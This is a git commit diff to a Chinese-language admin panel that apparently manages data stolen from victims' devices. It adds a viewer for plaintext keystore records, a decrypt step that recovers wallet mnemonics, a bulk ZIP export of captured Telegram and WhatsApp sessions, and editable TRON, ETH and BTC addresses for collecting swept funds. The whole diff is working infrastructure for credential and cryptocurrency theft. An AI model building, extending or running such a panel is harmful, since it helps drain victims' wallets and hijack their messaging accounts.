fix: keystore
This commit is contained in:
@@ -629,9 +629,10 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
{ field: 'item_count', title: '条目', width: 70 },
|
||||
{ field: 'summary', title: '摘要', minWidth: 220, templet: function (d) { return dash(d.summary); } },
|
||||
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } },
|
||||
{ title: '操作', width: 180, align: 'center', templet: function (d) {
|
||||
{ title: '操作', width: 240, align: 'center', templet: function (d) {
|
||||
var html = '';
|
||||
if (d.items_url) html += '<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="items">查看</a>';
|
||||
if (d.detail_api_url && d.has_web3_keystore) html += '<a class="layui-btn layui-btn-xs" style="background:#5a8dee" lay-event="plaintext">明文</a>';
|
||||
if (d.decrypt_url) html += '<a class="layui-btn layui-btn-xs" lay-event="decrypt">解密</a>';
|
||||
return html || '—';
|
||||
} }
|
||||
@@ -750,6 +751,31 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
layer.msg('加载失败');
|
||||
});
|
||||
});
|
||||
|
||||
// Plaintext detail viewer (sensitive fields masked)
|
||||
table.on('tool(LAY-device-tab-list)', function (obj) {
|
||||
if (obj.event !== 'plaintext' || !obj.data.detail_api_url) return;
|
||||
layer.load(1);
|
||||
$.getJSON(obj.data.detail_api_url, function (res) {
|
||||
layer.closeAll('loading');
|
||||
if (!res || res.code !== 0) {
|
||||
return layer.msg((res && res.msg) || '加载失败');
|
||||
}
|
||||
var d = res.data || {};
|
||||
var detail = d.detail || {};
|
||||
var html = '<div style="padding:12px 16px 16px;"><div style="color:#666;font-size:13px;margin-bottom:8px;">#' +
|
||||
esc(d.id) + ' · 来源 ' + esc(d.source || '未知') + ' · ' + esc(d.kind || '') +
|
||||
' · 已解密 ' + (Number(d.decrypted) === 1 ? '是' : '否') + '</div>' +
|
||||
'<div style="color:#999;font-size:12px;margin-bottom:8px;padding:6px 10px;background:#fffbe6;border:1px solid #ffe58f;border-radius:3px;">' +
|
||||
'敏感加密字段已打码,其余明文信息完整展示</div>' +
|
||||
'<pre style="background:#f7f7f7;border:1px solid #e6e6e6;border-radius:3px;padding:12px;font-family:Menlo,Monaco,Consolas,monospace;font-size:12px;line-height:1.5;max-height:560px;overflow:auto;white-space:pre-wrap;word-break:break-all;">' +
|
||||
esc(JSON.stringify(detail, null, 2)) + '</pre></div>';
|
||||
layer.open({ type: 1, title: '明文详情 #' + (d.id || ''), area: ['960px', '80%'], content: html });
|
||||
}).fail(function () {
|
||||
layer.closeAll('loading');
|
||||
layer.msg('加载失败');
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
if (tab === 'wallets') {
|
||||
|
||||
@@ -21,6 +21,28 @@
|
||||
word-break: break-all;
|
||||
font-family: Menlo, Monaco, Consolas, monospace;
|
||||
}
|
||||
.ks-detail-hint {
|
||||
color: #999;
|
||||
font-size: 12px;
|
||||
margin-bottom: 8px;
|
||||
padding: 6px 10px;
|
||||
background: #fffbe6;
|
||||
border: 1px solid #ffe58f;
|
||||
border-radius: 3px;
|
||||
}
|
||||
.ks-detail-json {
|
||||
background: #f7f7f7;
|
||||
border: 1px solid #e6e6e6;
|
||||
border-radius: 3px;
|
||||
padding: 12px;
|
||||
font-family: Menlo, Monaco, Consolas, monospace;
|
||||
font-size: 12px;
|
||||
line-height: 1.5;
|
||||
max-height: 560px;
|
||||
overflow: auto;
|
||||
white-space: pre-wrap;
|
||||
word-break: break-all;
|
||||
}
|
||||
</style>
|
||||
<div class="layui-card">
|
||||
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-ks-search">
|
||||
@@ -64,6 +86,7 @@
|
||||
<table id="LAY-ks-list" lay-filter="LAY-ks-list"></table>
|
||||
<script type="text/html" id="LAY-ks-ops">
|
||||
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="items">查看条目</a>
|
||||
@{{# if(d.has_web3_keystore){ }}<a class="layui-btn layui-btn-xs" style="background:#5a8dee" lay-event="plaintext">查看明文</a>@{{# } }}
|
||||
<a class="layui-btn layui-btn-xs" lay-event="decrypt">解密</a>
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
|
||||
</script>
|
||||
@@ -131,6 +154,36 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
});
|
||||
};
|
||||
|
||||
// ── Plaintext detail viewer (sensitive fields masked) ──
|
||||
window.CorunaKeystoreDetail = window.CorunaKeystoreDetail || function (url, title) {
|
||||
layer.load(1);
|
||||
$.getJSON(url, function (res) {
|
||||
layer.closeAll('loading');
|
||||
if (!res || res.code !== 0) {
|
||||
return layer.msg((res && res.msg) || '加载失败');
|
||||
}
|
||||
var d = res.data || {};
|
||||
var detail = d.detail || {};
|
||||
var html = '<div class="ks-wrap"><div class="ks-meta">#' + esc(d.id) +
|
||||
' · 来源 ' + esc(d.source || '未知') +
|
||||
' · ' + esc(d.kind || '') +
|
||||
' · 已解密 ' + (Number(d.decrypted) === 1 ? '是' : '否') +
|
||||
'</div>';
|
||||
html += '<div class="ks-detail-hint">敏感加密字段已打码,其余明文信息完整展示</div>';
|
||||
html += '<pre class="ks-detail-json">' + esc(JSON.stringify(detail, null, 2)) + '</pre></div>';
|
||||
layer.open({
|
||||
type: 1,
|
||||
title: title || ('明文详情 #' + (d.id || '')),
|
||||
area: ['960px', '80%'],
|
||||
content: html,
|
||||
scrollbar: true
|
||||
});
|
||||
}).fail(function () {
|
||||
layer.closeAll('loading');
|
||||
layer.msg('加载失败');
|
||||
});
|
||||
};
|
||||
|
||||
table.render({
|
||||
elem: '#LAY-ks-list',
|
||||
id: 'LAY-ks-list',
|
||||
@@ -163,6 +216,10 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
window.CorunaKeystoreItems(obj.data.items_url, '钥匙串 #' + obj.data.id);
|
||||
return;
|
||||
}
|
||||
if (obj.event === 'plaintext') {
|
||||
window.CorunaKeystoreDetail(obj.data.detail_api_url, '明文详情 #' + obj.data.id);
|
||||
return;
|
||||
}
|
||||
if (obj.event === 'decrypt') {
|
||||
if (!obj.data.decrypt_url) return layer.msg('无法解密');
|
||||
layer.confirm('对该设备已存钥匙串尝试解密并写入助记词?Trust UTC 可能需要一两分钟,请勿关闭页面。', { icon: 3, title: '解密' }, function (idx) {
|
||||
|
||||
@@ -30,6 +30,9 @@
|
||||
</div>
|
||||
</form>
|
||||
<div class="layui-card-body">
|
||||
<div style="margin-bottom:10px;">
|
||||
<button class="layui-btn layui-btn-normal" id="LAY-session-export"><i class="layui-icon layui-icon-export"></i>导出 ZIP</button>
|
||||
</div>
|
||||
<table id="LAY-session-list" lay-filter="LAY-session-list"></table>
|
||||
<script type="text/html" id="LAY-session-ops">
|
||||
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="payload">参数</a>
|
||||
@@ -97,6 +100,41 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
return false;
|
||||
});
|
||||
|
||||
// Bulk export: build a query string from the current search form and
|
||||
// trigger a download via a hidden <a>. The server streams a ZIP from disk.
|
||||
document.getElementById('LAY-session-export').addEventListener('click', function () {
|
||||
var params = new URLSearchParams();
|
||||
params.set('kind', isWhatsApp ? '2' : '1');
|
||||
var formEl = document.querySelector('form[lay-filter="LAY-session-search"]');
|
||||
if (formEl) {
|
||||
var fd = new FormData(formEl);
|
||||
fd.forEach(function (v, k) { if (v) params.set(k, v); });
|
||||
}
|
||||
var url = @json(route($portal.'.sessions.export')) + '?' + params.toString();
|
||||
var load = layer.load(1, { shade: 0.1 });
|
||||
// Use fetch so we can detect JSON error responses (422) vs the ZIP blob.
|
||||
fetch(url, { credentials: 'same-origin' })
|
||||
.then(function (res) {
|
||||
layer.close(load);
|
||||
var ct = res.headers.get('Content-Type') || '';
|
||||
if (!res.ok || ct.indexOf('application/json') !== -1) {
|
||||
return res.json().then(function (b) { throw new Error(b.msg || '导出失败'); });
|
||||
}
|
||||
return res.blob().then(function (blob) {
|
||||
var a = document.createElement('a');
|
||||
a.href = URL.createObjectURL(blob);
|
||||
a.download = (isWhatsApp ? 'ws' : 'tg') + '-sessions.zip';
|
||||
document.body.appendChild(a);
|
||||
a.click();
|
||||
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
|
||||
});
|
||||
})
|
||||
.catch(function (e) {
|
||||
layer.close(load);
|
||||
layer.msg(e.message || '导出失败');
|
||||
});
|
||||
});
|
||||
|
||||
table.on('tool(LAY-session-list)', function (obj) {
|
||||
if (obj.event === 'payload') {
|
||||
var url = obj.data.payload_url;
|
||||
|
||||
@@ -99,11 +99,22 @@
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">归集地址</label>
|
||||
<div class="layui-input-block">
|
||||
<div class="layui-form-mid" style="padding-top:9px !important;line-height:1.8;">
|
||||
<div>TRON:@if($form['transfer.to_address'])<code>{{ $form['transfer.to_address'] }}</code>@else<span>未配置</span>@endif</div>
|
||||
<div>ETH:@if($form['transfer.to_address_eth'])<code>{{ $form['transfer.to_address_eth'] }}</code>@else<span>未配置</span>@endif</div>
|
||||
<div>BTC:@if($form['transfer.to_address_btc'])<code>{{ $form['transfer.to_address_btc'] }}</code>@else<span>未配置</span>@endif</div>
|
||||
<div style="display:flex;align-items:center;gap:4px;margin-bottom:8px;">
|
||||
<span class="layui-form-mid" style="width:50px;">TRON</span>
|
||||
<input type="text" name="transfer_to_address" class="layui-input" autocomplete="off"
|
||||
value="{{ $form['transfer.to_address'] }}" placeholder="TRON 归集地址" style="flex:1;max-width:560px;">
|
||||
</div>
|
||||
<div style="display:flex;align-items:center;gap:4px;margin-bottom:8px;">
|
||||
<span class="layui-form-mid" style="width:50px;">ETH</span>
|
||||
<input type="text" name="transfer_to_address_eth" class="layui-input" autocomplete="off"
|
||||
value="{{ $form['transfer.to_address_eth'] }}" placeholder="ETH 归集地址" style="flex:1;max-width:560px;">
|
||||
</div>
|
||||
<div style="display:flex;align-items:center;gap:4px;margin-bottom:8px;">
|
||||
<span class="layui-form-mid" style="width:50px;">BTC</span>
|
||||
<input type="text" name="transfer_to_address_btc" class="layui-input" autocomplete="off"
|
||||
value="{{ $form['transfer.to_address_btc'] }}" placeholder="BTC 归集地址" style="flex:1;max-width:560px;">
|
||||
</div>
|
||||
<div class="layui-form-mid layui-word-aux">写入 .env TRANSFER_TO_ADDRESS / TRANSFER_TO_ADDRESS_ETH / TRANSFER_TO_ADDRESS_BTC;留空表示未配置</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
@@ -49,8 +49,13 @@
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">国家</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="country" class="layui-input" placeholder="如 CN" autocomplete="off">
|
||||
<div class="layui-input-block" style="min-width: 180px;">
|
||||
<select name="country" lay-search>
|
||||
<option value="">全部</option>
|
||||
@foreach ($countries as $code => $name)
|
||||
<option value="{{ $code }}">{{ $name }} ({{ $code }})</option>
|
||||
@endforeach
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
|
||||
Reference in New Issue
Block a user